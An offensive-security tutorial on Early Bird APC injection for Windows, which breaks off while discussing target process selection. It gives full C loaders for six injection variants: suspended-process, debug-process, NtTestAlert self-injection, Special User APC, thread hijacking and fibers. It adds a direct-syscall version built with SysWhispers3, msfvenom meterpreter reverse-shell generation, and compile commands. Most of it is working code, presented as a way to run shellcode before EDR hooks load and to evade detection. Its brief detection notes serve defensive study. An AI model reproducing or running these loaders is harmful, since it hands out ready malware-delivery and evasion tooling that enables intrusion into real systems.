Legend:
[INJECT]= Injection technique |[SYSCALL]= Windows API / syscall |[OPSEC]= Operational Security note |[DETECT]= Detection vector |[EVASION]= Bypass technique |[TOOL]= Tool reference |[FLAG]= Process creation flag
1. What is APC Injection?
What it means: APC (Asynchronous Procedure Call) injection is a code injection technique where shellcode is queued as an APC routine into a remote thread. When the target thread enters an alertable state, Windows automatically executes the queued APC — running attacker shellcode inside the target process.
The core problem APC injection solves:
Classic shellcode injection (CreateRemoteThread):
├─ VirtualAllocEx → allocate memory in target
├─ WriteProcessMemory → write shellcode
├─ CreateRemoteThread → new thread = HIGHLY VISIBLE
└─ EDR: Thread created in remote process → ALERT
APC Injection:
├─ VirtualAllocEx → allocate memory in target
├─ WriteProcessMemory → write shellcode
├─ QueueUserAPC → queue routine to existing thread
└─ Wait for alertable state → executes silently
└─ No new thread created → less visible
APC types in Windows:
| APC Type | Who queues it | Execution context |
|---|---|---|
| Kernel APC | OS kernel | Kernel mode — device drivers |
| Normal User APC | User-mode code | When thread enters alertable wait |
| Special User APC | User-mode (Win10 1903+) | Forces alertable state immediately |
[OPSEC] APC injection requires the target thread to enter an alertable state (via SleepEx, WaitForSingleObjectEx, MsgWaitForMultipleObjectsEx, etc.). Not all threads do this regularly — that's the core limitation of classic APC injection.
2. What is Early Bird APC Injection?
What it means: Early Bird APC injection solves the alertable-state problem by injecting the APC before the target process's main thread even starts executing — while it's still in a suspended or pre-initialized state. At thread initialization, Windows always processes the APC queue. Shellcode executes at the very beginning — before any security product's hooks or monitoring code runs in the target.
Why "Early Bird":
Normal APC Injection:
Target process running normally
→ Inject APC
→ Wait for alertable state (thread must call SleepEx etc.)
→ EDR hooks already in place inside target
→ AV/EDR scanning memory when shellcode executes
→ RISKY
Early Bird APC Injection:
Create NEW process (suspended / debug mode)
→ Process initialized but main thread NOT executing yet
→ Inject APC
→ APC queue executes BEFORE ntdll.dll is mapped fully
→ EDR hooks NOT YET placed in new process
→ Resume thread → shellcode runs BEFORE security hooks
→ Shellcode in context of legitimate process
Why it evades EDR:
EDR Hook Placement Timeline:
Process Created
↓
ntdll.dll loaded
↓
EDR DLL injected (via AppInit_DLLs, shims, or DLL injection) ← EDR hooks placed HERE
↓
Main thread resumes
↓
App runs normally (all API calls hooked)
Early Bird runs shellcode BEFORE step 3:
Process Created (SUSPENDED)
↓
APC queued with shellcode pointer ← We inject HERE
↓
Thread resumed
↓
APC executes (shellcode runs) ← BEFORE EDR hooks placed
↓
EDR DLL injected (too late — shellcode already ran)
[EVASION] This is the core advantage: shellcode executes in a window where EDR user-mode hooks don't yet exist in the target process.
3. Windows APC Internals
What it means: Understanding the kernel-level APC mechanism helps craft more reliable injections and understand detection vectors.
3.1 APC Queue Structure
KTHREAD structure (kernel):
└─ ApcState
├─ ApcListHead[KernelMode] ← kernel APCs list
└─ ApcListHead[UserMode] ← user APCs list (our target)
Each APC entry (KAPC):
├─ NormalRoutine → user-mode function pointer (our shellcode)
├─ NormalContext → argument passed to NormalRoutine
├─ SystemArgument1
├─ SystemArgument2
└─ ApcMode → KernelMode or UserMode
3.2 APC Execution Flow
Thread enters alertable state (SleepEx / WaitForSingleObjectEx):
1. Kernel checks UserMode APC queue
2. Dequeues APC entry
3. Calls NormalRoutine(NormalContext, Arg1, Arg2)
4. After return: checks queue again (repeats until empty)
5. Thread resumes from wait
For Early Bird (suspended thread):
1. Thread created, suspended — APC queue already exists
2. We queue APC via QueueUserAPC / NtQueueApcThread
3. Thread resumed (ResumeThread / NtResumeThread)
4. ntdll initialization runs → processes APC queue
5. Shellcode executes in context of target process
3.3 Alertable State APIs
APIs that put thread in alertable state (process APC queue):
├─ SleepEx(ms, TRUE) ← bAlertable = TRUE required
├─ WaitForSingleObjectEx(handle, ms, TRUE)
├─ WaitForMultipleObjectsEx(n, h, wait, ms, TRUE)
├─ MsgWaitForMultipleObjectsEx(...)
├─ SignalObjectAndWait(...)
└─ NtDelayExecution(TRUE, ...) ← NT native
APIs that do NOT trigger APC:
├─ Sleep(ms) ← bAlertable = FALSE
├─ WaitForSingleObject(handle, ms)
└─ MessageBox, ReadFile, etc. (unless async)
[DETECT] EDR monitors QueueUserAPC calls cross-process. The cross-process call is the main telemetry point.
4. Technique 1 — CREATE_SUSPENDED Flag
What it means: The most common and reliable Early Bird technique. A new process is created with CREATE_SUSPENDED — the main thread exists but has not started executing. Memory is allocated, shellcode written, APC queued, then the thread is resumed.
[FLAG] CREATE_SUSPENDED (0x00000004) — Process is created but primary thread is immediately suspended. Must call ResumeThread to start execution.
4.1 Step-by-Step Flow
1. CreateProcess(target.exe, ..., CREATE_SUSPENDED, ...)
└─ Process created, primary thread suspended (handle in pi.hThread)
2. VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
└─ Allocate RWX memory in target process
3. WriteProcessMemory(pi.hProcess, remote_addr, shellcode, shellcode_size, NULL)
└─ Copy shellcode bytes into target process
4. QueueUserAPC((PAPCFUNC)remote_addr, pi.hThread, NULL)
└─ Queue shellcode as APC on suspended primary thread
5. ResumeThread(pi.hThread)
└─ Thread starts executing → processes APC queue → shellcode runs
6. CloseHandle(pi.hThread); CloseHandle(pi.hProcess)
4.2 Full C Implementation
#include <windows.h>
#include <stdio.h>
// Replace with your shellcode (e.g., msfvenom -f c -p windows/x64/meterpreter/reverse_tcp)
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,
// ... rest of shellcode ...
};
SIZE_T shellcode_size = sizeof(shellcode);
int main(void) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
LPVOID remote_buf = NULL;
// Step 1: Create target process in suspended state
// Use a legitimate Windows binary as host
if (!CreateProcessA(
"C:\\Windows\\System32\\svchost.exe", // target process
NULL, // command line
NULL, NULL, // process/thread sec attrs
FALSE, // inherit handles
CREATE_SUSPENDED | CREATE_NO_WINDOW, // ← KEY FLAG
NULL, // environment
NULL, // current directory
&si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Process created (PID: %lu) — SUSPENDED\n", pi.dwProcessId);
// Step 2: Allocate RWX memory in remote process
remote_buf = VirtualAllocEx(
pi.hProcess,
NULL,
shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE // RWX — note: flagged by some EDR
);
if (!remote_buf) {
printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Allocated %zu bytes at %p in remote process\n", shellcode_size, remote_buf);
// Step 3: Write shellcode into allocated memory
SIZE_T bytes_written = 0;
if (!WriteProcessMemory(
pi.hProcess,
remote_buf,
shellcode,
shellcode_size,
&bytes_written)) {
printf("[-] WriteProcessMemory failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Wrote %zu bytes to remote process\n", bytes_written);
// Step 4: Queue APC pointing to shellcode
// QueueUserAPC queues an APC on the SUSPENDED primary thread
if (!QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL)) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] APC queued on thread %lu\n", pi.dwThreadId);
// Step 5: Resume thread — APC executes before main thread code
DWORD prev_suspend = ResumeThread(pi.hThread);
if (prev_suspend == (DWORD)-1) {
printf("[-] ResumeThread failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 0);
return 1;
}
printf("[+] Thread resumed — Early Bird APC executing!\n");
// Cleanup handles (process continues running)
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
4.3 OPSEC-Improved Version (RW then RX)
// More OPSEC-safe: allocate RW, write shellcode, then change to RX
// Avoids RWX allocation which is a strong EDR signal
LPVOID remote_buf = VirtualAllocEx(
pi.hProcess, NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // ← RW only first
);
// Write shellcode
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);
// Change protection to RX (not RWX)
DWORD old_protect;
VirtualProtectEx(
pi.hProcess, remote_buf, shellcode_size,
PAGE_EXECUTE_READ, // ← RX only (no write)
&old_protect
);
// Now queue APC and resume
QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL);
ResumeThread(pi.hThread);
4.4 Compile & Run
# MSVC (Windows)
cl.exe earlybird.c /Fe:earlybird.exe /link kernel32.lib
# MinGW cross-compile (Linux → Windows)
x86_64-w64-mingw32-gcc earlybird.c -o earlybird.exe -lkernel32
# Generate shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -o shellcode.h
# Run (Windows)
.\earlybird.exe
[DETECT] Telemetry points: CreateProcess(CREATE_SUSPENDED) → VirtualAllocEx → WriteProcessMemory → QueueUserAPC sequence. This pattern is well-known.
5. Technique 2 — DEBUG_PROCESS Flag
What it means: Create the target process with DEBUG_PROCESS flag. This makes the current process the debugger of the target. The target starts and immediately generates a LOAD_DLL_DEBUG_EVENT for ntdll.dll — at this exact moment, the primary thread is effectively suspended waiting for the debugger to continue it. We hijack this window to inject.
[FLAG] DEBUG_PROCESS (0x00000001) — Caller becomes the debugger; all debug events from target must be handled via WaitForDebugEvent / ContinueDebugEvent.
5.1 How DEBUG_PROCESS Creates the Early Bird Window
CreateProcess(DEBUG_PROCESS):
1. Process created
2. Loader starts — loads ntdll.dll
3. Target fires: CREATE_PROCESS_DEBUG_EVENT ← first debug event
4. Target thread STOPS — waits for ContinueDebugEvent
5. ← WE INJECT HERE (thread stopped, minimal code run)
6. ContinueDebugEvent → target resumes
7. Loader continues → more DLLs → eventually main()
5.2 Full C Implementation
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);
int main(void) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
DEBUG_EVENT dbg_event = { 0 };
LPVOID remote_buf = NULL;
// Step 1: Create process under our debug control
if (!CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
DEBUG_PROCESS, // ← DEBUG flag (no SUSPENDED needed)
NULL, NULL, &si, &pi)) {
printf("[-] CreateProcess failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Debuggee PID: %lu\n", pi.dwProcessId);
BOOL injected = FALSE;
// Step 2: Debug event loop — inject on first CREATE_PROCESS event
while (WaitForDebugEvent(&dbg_event, INFINITE)) {
if (dbg_event.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT && !injected) {
printf("[+] CREATE_PROCESS_DEBUG_EVENT received — injecting!\n");
// Allocate memory in debuggee
remote_buf = VirtualAllocEx(
pi.hProcess, NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Write shellcode
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);
// Change to RX
DWORD old_prot;
VirtualProtectEx(pi.hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
// Queue APC on primary thread
QueueUserAPC((PAPCFUNC)remote_buf, pi.hThread, NULL);
printf("[+] APC queued at %p\n", remote_buf);
injected = TRUE;
}
// Continue the debug event (let process proceed)
ContinueDebugEvent(
dbg_event.dwProcessId,
dbg_event.dwThreadId,
DBG_CONTINUE
);
// Stop debugging after injection — detach
if (injected) {
DebugActiveProcessStop(pi.dwProcessId);
printf("[+] Detached from debuggee — shellcode will run\n");
break;
}
}
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
5.3 DEBUG_PROCESS vs CREATE_SUSPENDED Comparison
| Aspect | CREATE_SUSPENDED | DEBUG_PROCESS |
|---|---|---|
| Thread state | Fully suspended | Waiting on debug event |
| Injection window | Before any code | Before DLLs fully loaded |
| Complexity | Low | Medium (debug event loop) |
| Detach required | No | Yes (DebugActiveProcessStop) |
| EDR visibility | Medium | Lower (debug API less monitored) |
| Parent-child telemetry | Yes | Yes |
| Works on 64-bit targets | Yes | Yes |
[OPSEC] DEBUG_PROCESS can be combined with DEBUG_ONLY_THIS_PROCESS to prevent child processes from inheriting debug state.
5.4 Combined Flags for Maximum Control
// Create suspended AND debug — maximum control
DWORD flags = CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NO_WINDOW;
CreateProcessA(target, NULL, NULL, NULL, FALSE, flags, NULL, NULL, &si, &pi);
// Now you have BOTH:
// - Thread suspended (CREATE_SUSPENDED)
// - Debug event control (DEBUG_PROCESS)
// Inject → detach debug → resume thread
6. Technique 3 — NtTestAlert (Self-Injection Early Bird)
What it means: Instead of injecting into a remote process, use NtTestAlert to flush the APC queue of the current thread. This is a self-injection technique — useful for stageless loaders or when you want to execute shellcode within your own process. NtTestAlert forces the current thread to process its pending APCs immediately.
6.1 NtTestAlert Internals
NtTestAlert:
→ Checks current thread's user-mode APC queue
→ If queue not empty: executes all pending APCs
→ Returns STATUS_ALERTED if APCs were executed
→ Used internally by alertable waits
Key: You can queue an APC on your OWN thread then call NtTestAlert
to force immediate execution (no waiting for alertable state)
6.2 Full C Implementation
#include <windows.h>
#include <stdio.h>
// NtTestAlert — not in standard headers, define manually
typedef NTSTATUS(NTAPI* pNtTestAlert)(VOID);
unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);
int main(void) {
// Resolve NtTestAlert from ntdll
pNtTestAlert NtTestAlert = (pNtTestAlert)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtTestAlert"
);
if (!NtTestAlert) {
printf("[-] NtTestAlert not found\n");
return 1;
}
printf("[+] NtTestAlert: %p\n", NtTestAlert);
// Allocate memory in CURRENT process (no cross-process needed)
LPVOID local_buf = VirtualAlloc(
NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!local_buf) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}
// Write shellcode locally
memcpy(local_buf, shellcode, shellcode_size);
// Change to RX
DWORD old_prot;
VirtualProtect(local_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
printf("[+] Shellcode at %p\n", local_buf);
// Queue APC on OUR OWN thread (GetCurrentThread())
if (!QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), NULL)) {
printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
return 1;
}
printf("[+] APC queued on current thread\n");
// Force APC execution — NtTestAlert flushes the queue NOW
printf("[+] Calling NtTestAlert — shellcode will execute!\n");
NtTestAlert(); // ← Shellcode executes here
// Code below this point only reached if shellcode returns
printf("[+] NtTestAlert returned\n");
return 0;
}
6.3 NtTestAlert via SleepEx Alternative
// Alternative: use SleepEx with bAlertable=TRUE to flush APC queue
// This is less suspicious than NtTestAlert but requires a wait
QueueUserAPC((PAPCFUNC)local_buf, GetCurrentThread(), NULL);
// SleepEx with bAlertable=TRUE processes APC queue
// If APC executes and returns, SleepEx returns WAIT_IO_COMPLETION
DWORD result = SleepEx(0, TRUE); // 0ms wait, alertable
if (result == WAIT_IO_COMPLETION) {
printf("[+] APC executed (WAIT_IO_COMPLETION)\n");
}
[OPSEC] Self-injection avoids cross-process APIs (WriteProcessMemory, VirtualAllocEx) which are heavily monitored. Only local VirtualAlloc + QueueUserAPC to self + NtTestAlert — much lower telemetry footprint.
7. Technique 4 — Special User APC (Windows 10 1903+)
What it means: Windows 10 version 1903 introduced a new APC type: Special User APC. Unlike normal user APCs, Special User APCs execute immediately — the target thread does not need to be in an alertable state. This removes the biggest limitation of APC injection.
7.1 Special User APC vs Normal User APC
Normal User APC:
→ Queued to target thread
→ Waits for target to call SleepEx/WaitForSingleObjectEx etc.
→ If thread never enters alertable state: APC NEVER RUNS
→ Limitation: depends on target thread behavior
Special User APC:
→ Queued to target thread
→ Thread is immediately interrupted (like a software interrupt)
→ APC executes at NEXT safe point (not alertable state needed)
→ Limitation: Windows 10 1903+ only
7.2 The NtQueueApcThreadEx API
// NtQueueApcThreadEx — native API for Special User APC
// Not exported by name in older Windows — resolve manually
typedef enum _QUEUE_USER_APC_FLAGS {
QueueUserApcFlagsNone = 0x0,
QueueUserApcFlagsSpecialUserApc = 0x1, // ← Special User APC flag
} QUEUE_USER_APC_FLAGS;
typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx)(
HANDLE ThreadHandle,
HANDLE UserApcReserveHandle, // NULL for default
QUEUE_USER_APC_FLAGS QueueUserApcFlags, // QueueUserApcFlagsSpecialUserApc
PVOID ApcRoutine, // shellcode address
PVOID SystemArgument1,
PVOID SystemArgument2,
PVOID SystemArgument3
);
7.3 Full C Implementation
#include <windows.h>
#include <stdio.h>
typedef enum _QUEUE_USER_APC_FLAGS {
QueueUserApcFlagsNone = 0x0,
QueueUserApcFlagsSpecialUserApc = 0x1,
} QUEUE_USER_APC_FLAGS;
typedef NTSTATUS(NTAPI* pNtQueueApcThreadEx)(
HANDLE, HANDLE, QUEUE_USER_APC_FLAGS, PVOID, PVOID, PVOID, PVOID
);
unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);
int main(void) {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
// Resolve NtQueueApcThreadEx
pNtQueueApcThreadEx NtQueueApcThreadEx = (pNtQueueApcThreadEx)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtQueueApcThreadEx"
);
if (!NtQueueApcThreadEx) {
printf("[-] NtQueueApcThreadEx not found (requires Win10 1903+)\n");
return 1;
}
// Create suspended process
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe",
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED | CREATE_NO_WINDOW,
NULL, NULL, &si, &pi
);
printf("[+] PID: %lu (suspended)\n", pi.dwProcessId);
// Allocate and write shellcode
LPVOID remote_buf = VirtualAllocEx(
pi.hProcess, NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
WriteProcessMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, NULL);
DWORD old_prot;
VirtualProtectEx(pi.hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
// Queue Special User APC — no alertable state required!
NTSTATUS status = NtQueueApcThreadEx(
pi.hThread, // target thread
NULL, // reserve handle (NULL = default)
QueueUserApcFlagsSpecialUserApc, // ← SPECIAL USER APC
(PVOID)remote_buf, // APC routine (shellcode)
NULL, NULL, NULL // arguments
);
printf("[+] NtQueueApcThreadEx status: 0x%08X\n", status);
// Resume thread — shellcode executes immediately (no alertable wait needed)
ResumeThread(pi.hThread);
printf("[+] Thread resumed with Special User APC\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
[DETECT] NtQueueApcThreadEx with QueueUserApcFlagsSpecialUserApc is increasingly monitored by modern EDR. The unusual flag value is a signature.
[OPSEC] Check Windows version before attempting — this fails silently on older systems if not checked:
OSVERSIONINFOEXW osvi = { sizeof(osvi) };
osvi.dwBuildNumber = 18362; // Win10 1903 build number
ULONGLONG mask = VerSetConditionMask(0, VER_BUILDNUMBER, VER_GREATER_EQUAL);
if (!VerifyVersionInfoW(&osvi, VER_BUILDNUMBER, mask)) {
printf("[-] Special User APC not supported (requires Win10 1903+)\n");
return 1;
}
8. Technique 5 — Early Bird via Thread Hijacking
What it means: Instead of creating a new process, find a target process that has a thread in a suspended or idle state, hijack that thread's execution context via GetThreadContext / SetThreadContext, and redirect RIP (instruction pointer) to injected shellcode.
8.1 Thread Context Hijacking Flow
1. Find target process + enumerate threads (CreateToolhelp32Snapshot)
2. OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME)
3. SuspendThread(hThread) ← suspend to safely read/write context
4. GetThreadContext(hThread, &ctx) ← read registers (RIP, RSP, etc.)
5. VirtualAllocEx → WriteProcessMemory ← inject shellcode
6. ctx.Rip = (DWORD64)remote_buf ← redirect RIP to shellcode
7. SetThreadContext(hThread, &ctx) ← write modified context
8. ResumeThread(hThread) ← thread now jumps to shellcode
8.2 Full C Implementation
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);
// Find thread belonging to target PID
HANDLE find_thread(DWORD pid) {
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (snap == INVALID_HANDLE_VALUE) return NULL;
THREADENTRY32 te = { sizeof(te) };
if (Thread32First(snap, &te)) {
do {
if (te.th32OwnerProcessID == pid) {
CloseHandle(snap);
printf("[+] Found thread TID: %lu (PID: %lu)\n", te.th32ThreadID, pid);
return OpenThread(
THREAD_GET_CONTEXT | THREAD_SET_CONTEXT |
THREAD_SUSPEND_RESUME | THREAD_QUERY_INFORMATION,
FALSE, te.th32ThreadID
);
}
} while (Thread32Next(snap, &te));
}
CloseHandle(snap);
return NULL;
}
int main(void) {
DWORD target_pid = 0;
printf("[*] Enter target PID: ");
scanf_s("%lu", &target_pid);
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, target_pid
);
if (!hProcess) {
printf("[-] OpenProcess failed: %lu\n", GetLastError());
return 1;
}
HANDLE hThread = find_thread(target_pid);
if (!hThread) {
printf("[-] No thread found for PID %lu\n", target_pid);
return 1;
}
// Suspend the thread before touching context
SuspendThread(hThread);
printf("[+] Thread suspended\n");
// Read current context (must have CONTEXT_FULL flag)
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx)) {
printf("[-] GetThreadContext failed: %lu\n", GetLastError());
ResumeThread(hThread);
return 1;
}
printf("[+] RIP before: 0x%llx\n", ctx.Rip);
// Inject shellcode into target process
LPVOID remote_buf = VirtualAllocEx(
hProcess, NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
WriteProcessMemory(hProcess, remote_buf, shellcode, shellcode_size, NULL);
DWORD old_prot;
VirtualProtectEx(hProcess, remote_buf, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
// Redirect RIP to shellcode
ctx.Rip = (DWORD64)remote_buf;
if (!SetThreadContext(hThread, &ctx)) {
printf("[-] SetThreadContext failed: %lu\n", GetLastError());
ResumeThread(hThread);
return 1;
}
printf("[+] RIP hijacked to: %p\n", remote_buf);
// Resume — thread executes shellcode
ResumeThread(hThread);
printf("[+] Thread resumed — executing shellcode\n");
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
[DETECT] SetThreadContext cross-process is a very high-confidence EDR indicator. Combine with direct syscalls to reduce API hook visibility.
9. Technique 6 — Fiber-based Early Bird
What it means: Fibers are user-mode execution units within a thread. Convert the current thread to a fiber, allocate shellcode, create a new fiber pointing to shellcode, then switch to it. This avoids QueueUserAPC entirely.
9.1 Fiber Injection Flow
ConvertThreadToFiber(NULL) ← convert current thread to fiber
VirtualAlloc(shellcode, PAGE_EXECUTE_READ)
CreateFiber(0, shellcode_addr, NULL) ← create fiber pointing to shellcode
SwitchToFiber(shellcode_fiber) ← execution switches to shellcode
9.2 C Implementation
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] = { /* your shellcode */ };
SIZE_T shellcode_size = sizeof(shellcode);
int main(void) {
// Allocate shellcode memory (local process)
LPVOID sc_mem = VirtualAlloc(NULL, shellcode_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(sc_mem, shellcode, shellcode_size);
DWORD old_prot;
VirtualProtect(sc_mem, shellcode_size, PAGE_EXECUTE_READ, &old_prot);
printf("[+] Shellcode at: %p\n", sc_mem);
// Convert current thread to fiber
LPVOID main_fiber = ConvertThreadToFiber(NULL);
if (!main_fiber) {
printf("[-] ConvertThreadToFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Main fiber: %p\n", main_fiber);
// Create a new fiber pointing to shellcode
LPVOID sc_fiber = CreateFiber(0, (LPFIBER_START_ROUTINE)sc_mem, NULL);
if (!sc_fiber) {
printf("[-] CreateFiber failed: %lu\n", GetLastError());
return 1;
}
printf("[+] Shellcode fiber: %p — switching!\n", sc_fiber);
// Switch execution to shellcode fiber
SwitchToFiber(sc_fiber);
// If shellcode fiber returns, execution resumes here
printf("[+] Returned from shellcode fiber\n");
DeleteFiber(sc_fiber);
return 0;
}
[OPSEC] Fiber injection is less commonly monitored. CreateFiber + SwitchToFiber have lower EDR telemetry than QueueUserAPC.
10. Syscall-Only Early Bird (Direct Syscalls)
What it means: EDR hooks sit in ntdll.dll's user-mode stubs. By calling syscalls directly (bypassing the ntdll stubs), we avoid EDR hooks entirely. This is the highest-OPSEC version of Early Bird.
10.1 Why Direct Syscalls?
Normal API call:
QueueUserAPC (kernel32.dll)
→ NtQueueApcThread (ntdll.dll) ← EDR HOOK HERE
→ syscall (kernel)
Direct syscall:
mov rax, <syscall_number>
mov r10, rcx
syscall ← NO ntdll stub, NO hook
→ kernel directly
10.2 Syscall Numbers (Windows 10 22H2 x64)
Common Early Bird syscalls:
NtAllocateVirtualMemory : 0x18
NtWriteVirtualMemory : 0x3A
NtProtectVirtualMemory : 0x50
NtQueueApcThread : 0x44
NtResumeThread : 0x52
NtCreateProcess : 0x4D
WARNING: Syscall numbers change across Windows versions!
Use dynamic resolution (SysWhispers3, HellsGate, Halo's Gate).
10.3 SysWhispers3 Usage
# Generate direct syscall stubs for Early Bird APIs
git clone https://github.com/klezVirus/SysWhispers3
cd SysWhispers3
# Generate for specific functions
python3 SysWhispers.py \
--functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtQueueApcThread,NtResumeThread,NtCreateUserProcess \
--output syscalls \
--arch x64
# Output: syscalls.h, syscalls.c, syscallsstubs.nasm / syscallsstubs.asm
10.4 Direct Syscall Early Bird Skeleton
#include "syscalls.h" // SysWhispers3 generated
int main(void) {
// All APIs below bypass ntdll hooks (direct syscalls)
HANDLE hProcess = NULL, hThread = NULL;
// NtCreateUserProcess or use WinAPI CreateProcess then go native
// (NtCreateUserProcess is complex — simplest: use CreateProcess for process creation
// then use NT syscalls for injection operations)
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
// NT native allocation (bypasses hooks)
PVOID remote_buf = NULL;
SIZE_T alloc_size = shellcode_size;
NtAllocateVirtualMemory(pi.hProcess, &remote_buf, 0, &alloc_size,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// NT native write (bypasses hooks)
SIZE_T bytes_written;
NtWriteVirtualMemory(pi.hProcess, remote_buf, shellcode, shellcode_size, &bytes_written);
// NT native protect (RW → RX)
DWORD old_prot;
SIZE_T protect_size = shellcode_size;
NtProtectVirtualMemory(pi.hProcess, &remote_buf, &protect_size,
PAGE_EXECUTE_READ, &old_prot);
// NT native queue APC (bypasses hooks)
NtQueueApcThread(pi.hThread, (PPS_APC_ROUTINE)remote_buf, NULL, NULL, NULL);
// NT native resume
DWORD prev_count;
NtResumeThread(pi.hThread, &prev_count);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
# Compile with SysWhispers3 stubs (MSVC)
cl.exe earlybird_syscalls.c syscalls.c /Fe:earlybird_syscalls.exe
# With NASM for asm stubs (MinGW)
nasm -f win64 syscallsstubs.nasm -o syscallsstubs.o
x86_64-w64-mingw32-gcc earlybird_syscalls.c syscalls.c syscallsstubs.o \
-o earlybird_syscalls.exe -lkernel32
11. Process & Memory API Reference
11.1 Key APIs Summary
| API | Purpose | Header | Notes |
|---|---|---|---|
CreateProcess |
Create target process | windows.h |
Use CREATE_SUSPENDED or DEBUG_PROCESS |
VirtualAllocEx |
Alloc memory in remote process | windows.h |
Use PAGE_READWRITE then change to PAGE_EXECUTE_READ |
WriteProcessMemory |
Write shellcode to remote | windows.h |
Requires PROCESS_VM_WRITE access |
VirtualProtectEx |
Change memory protection | windows.h |
RW → RX pattern |
QueueUserAPC |
Queue APC to thread | windows.h |
Thread handle needs THREAD_SET_CONTEXT |
ResumeThread |
Resume suspended thread | windows.h |
Returns previous suspend count |
NtQueueApcThread |
Native APC queue | ntdll.lib |
Resolve via GetProcAddress |
NtQueueApcThreadEx |
Special User APC | ntdll.lib |
Win10 1903+ only |
NtTestAlert |
Flush own APC queue | ntdll.lib |
Self-injection |
CreateFiber |
Create execution fiber | windows.h |
Alternative to APC |
SwitchToFiber |
Switch to fiber | windows.h |
Executes shellcode fiber |
11.2 Process Access Rights for Injection
// Required for target process handle
DWORD process_access =
PROCESS_VM_OPERATION | // VirtualAllocEx, VirtualProtectEx
PROCESS_VM_WRITE | // WriteProcessMemory
PROCESS_VM_READ | // ReadProcessMemory (optional)
PROCESS_CREATE_THREAD ; // CreateRemoteThread (not needed for APC)
// Required for target thread handle
DWORD thread_access =
THREAD_SET_CONTEXT | // QueueUserAPC, SetThreadContext
THREAD_GET_CONTEXT | // GetThreadContext
THREAD_SUSPEND_RESUME | // SuspendThread, ResumeThread
THREAD_QUERY_INFORMATION; // OpenThread info
12. Target Process Selection
What it means: The choice of host process significantly impacts OPSEC. Spawning svchost.exe as a child of notepad.exe is suspicious. Choose parent-child relationships that look legitimate.
12.1 Good Target Processes
Low-suspicion targets for shellcode hosting:
